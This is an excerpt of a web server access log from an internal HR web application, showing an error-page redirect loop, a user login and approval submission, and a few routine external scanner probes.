/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:11 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:12 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:13 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:14 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:15 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.139.16 - - [01/Dec/2025:09:51:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.139.16 - - [01/Dec/2025:09:51:21 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000&appdesc=%E9%A6%96%E9%A1%B5 HTTP/1.1" 200 10133 100.64.0.1 - - [01/Dec/2025:09:57:59 +0800] "CONNECT play.teslacraft.org:25565 HTTP/1.1" 405 225 "-" "-" 100.64.0.1 - - [01/Dec/2025:09:57:59 +0800] "CONNECT play.teslacraft.org:25565 HTTP/1.1" 405 225 100.64.0.1 - - [01/Dec/2025:09:57:59 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (compatible; ModatScanner/1.2; +https://modat.io/)" 100.64.0.1 - - [01/Dec/2025:09:57:59 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [01/Dec/2025:10:01:26 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:10:01:26 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [01/Dec/2025:10:01:26 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [01/Dec/2025:10:01:26 +0800] "\x16\x03\x01" 501 205 192.168.40.44 - - [01/Dec/2025:10:15:58 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:15:58 +0800] "GET /ehr/ess/index.php HTTP/1.1" 200 8826 192.168.40.44 - - [01/Dec/2025:10:16:02 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:02 +0800] "POST /ehr/ess/includes/login.php HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:02 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 "http://192.168.1.83:8088/ehr/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:02 +0800] "GET /ehr/ess/redirect.php HTTP/1.1" 200 7217 192.168.40.44 - - [01/Dec/2025:10:16:04 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/ehr/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:04 +0800] "GET /ehr/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 192.168.40.44 - - [01/Dec/2025:10:16:08 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 67885 "http://192.168.1.83:8088/ehr/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:08 +0800] "GET /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 200 67885 192.168.40.44 - - [01/Dec/2025:10:16:40 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:40 +0800] "POST /ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:41 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132653%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132653&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:41 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH100%26requestno%3D132653%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A132653&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:41 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:41 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:41 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:41 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:41 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:41 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:42 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:42 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:42 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/ehr/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.40.44 - - [01/Dec/2025:10:16:42 +0800] "GET /ehr/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.40.44 - - [01/Dec/2025:10:16:42 +0800] "GET 